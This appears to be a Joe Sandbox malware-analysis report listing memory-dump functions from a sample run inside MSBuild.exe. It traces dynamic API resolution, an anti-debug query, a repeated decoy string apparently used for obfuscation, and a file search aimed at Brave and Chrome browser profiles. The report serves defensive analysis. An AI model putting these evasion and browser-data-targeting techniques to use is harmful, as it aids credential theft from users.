Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 274665a01673febc8c043707af7a32d05f199e8fe571b7ccb3a6cfc1e7700220
Instruction ID: 9b0bbd5cad975e6e23070ddf26c66c17d5b15b8cc3f239e3a0ff94da402398d4
Opcode Fuzzy Hash: 274665a01673febc8c043707af7a32d05f199e8fe571b7ccb3a6cfc1e7700220
Instruction Fuzzy Hash: 51F030B1545B909E83319F7A9481447FBE4BE283203949E6FE0DED3A11D730E404CB6A

Function 00E362A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 00E362E6

Strings

R[, xrefs: 00E362D6
InitializeCriticalSectionEx, xrefs: 00E362B6

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$R[
API String ID: 2593887523-432795312
Opcode ID: 07248e5d549521c8415d88c3da0403f6d5f20180efe407cad85c23fbfbbea02b
Instruction ID: f9784c920c94ffe64ffaeedb652259cae1518a177da030152af46d18f8194aa7
Opcode Fuzzy Hash: 07248e5d549521c8415d88c3da0403f6d5f20180efe407cad85c23fbfbbea02b
Instruction Fuzzy Hash: C4E0923A240218BBCF212FB1FC0AE8E7F25DB45BA1F019020FD1835160C7B2D925DAC4

Function 00E3612C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00E36160

Strings

R[, xrefs: 00E36156
FlsAlloc, xrefs: 00E3613C

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$R[
API String ID: 2773662609-3428055260
Opcode ID: bd08e872c520606762816353f9020a7866bdc4a86cd1b1e5fa95449ae56b6b0f
Instruction ID: 97df5abedf0a89858ec69a444c4e64a307a813a0f317084c3880975a9ba39d6a
Opcode Fuzzy Hash: bd08e872c520606762816353f9020a7866bdc4a86cd1b1e5fa95449ae56b6b0f
Instruction Fuzzy Hash: 91E0C23A68632877823127B2BC0AE9E7E14CB45B61F01A020FE0836282CBA59D11D6D5

Analysis Process: MSBuild.exePID: 6376, Parent PID: 4828COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction ID: d74624c404fea8bc3833097cd15bfd8a5e03d1640ee24043f2693d34696df282
Opcode Fuzzy Hash: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction Fuzzy Hash: DF41A979740624EBC71C9FE5EC89B997F60AB8C712BA0C062F90299190C7FAD5119B3D

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,01253360), ref: 004198A1
GetProcAddress.KERNEL32(77190000,01253378), ref: 004198BA
GetProcAddress.KERNEL32(77190000,01253390), ref: 004198D2
GetProcAddress.KERNEL32(77190000,012533A8), ref: 004198EA
GetProcAddress.KERNEL32(77190000,012533C0), ref: 00419903
GetProcAddress.KERNEL32(77190000,012533D8), ref: 0041991B
GetProcAddress.KERNEL32(77190000,01254520), ref: 00419933
GetProcAddress.KERNEL32(77190000,01254540), ref: 0041994C
GetProcAddress.KERNEL32(77190000,012533E8), ref: 00419964
GetProcAddress.KERNEL32(77190000,01254560), ref: 0041997C
GetProcAddress.KERNEL32(77190000,01254578), ref: 00419995
GetProcAddress.KERNEL32(77190000,012504B0), ref: 004199AD
GetProcAddress.KERNEL32(77190000,012504C8), ref: 004199C5
GetProcAddress.KERNEL32(77190000,012574E8), ref: 004199DE
GetProcAddress.KERNEL32(77190000,01257620), ref: 004199F6
GetProcAddress.KERNEL32(77190000,012504E8), ref: 00419A0E
GetProcAddress.KERNEL32(77190000,01257500), ref: 00419A27
GetProcAddress.KERNEL32(77190000,012575D8), ref: 00419A3F
GetProcAddress.KERNEL32(77190000,01250508), ref: 00419A57
GetProcAddress.KERNEL32(77190000,01257680), ref: 00419A70
GetProcAddress.KERNEL32(77190000,01250528), ref: 00419A88
LoadLibraryA.KERNEL32(012576B0,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(01257638,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(01257548,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(01257560,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(01257578,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(76850000,01257698), ref: 00419B02
GetProcAddress.KERNEL32(77040000,01257590), ref: 00419B23
GetProcAddress.KERNEL32(77040000,01257518), ref: 00419B3B
GetProcAddress.KERNEL32(75A10000,01257530), ref: 00419B5D
GetProcAddress.KERNEL32(75690000,01250548), ref: 00419B7E
GetProcAddress.KERNEL32(776F0000,01250568), ref: 00419B9F
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

\Brave\Preferences, xrefs: 0040C1DB
Preferences, xrefs: 0040C11E
Google Chrome, xrefs: 0040C634
Brave, xrefs: 0040C102

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

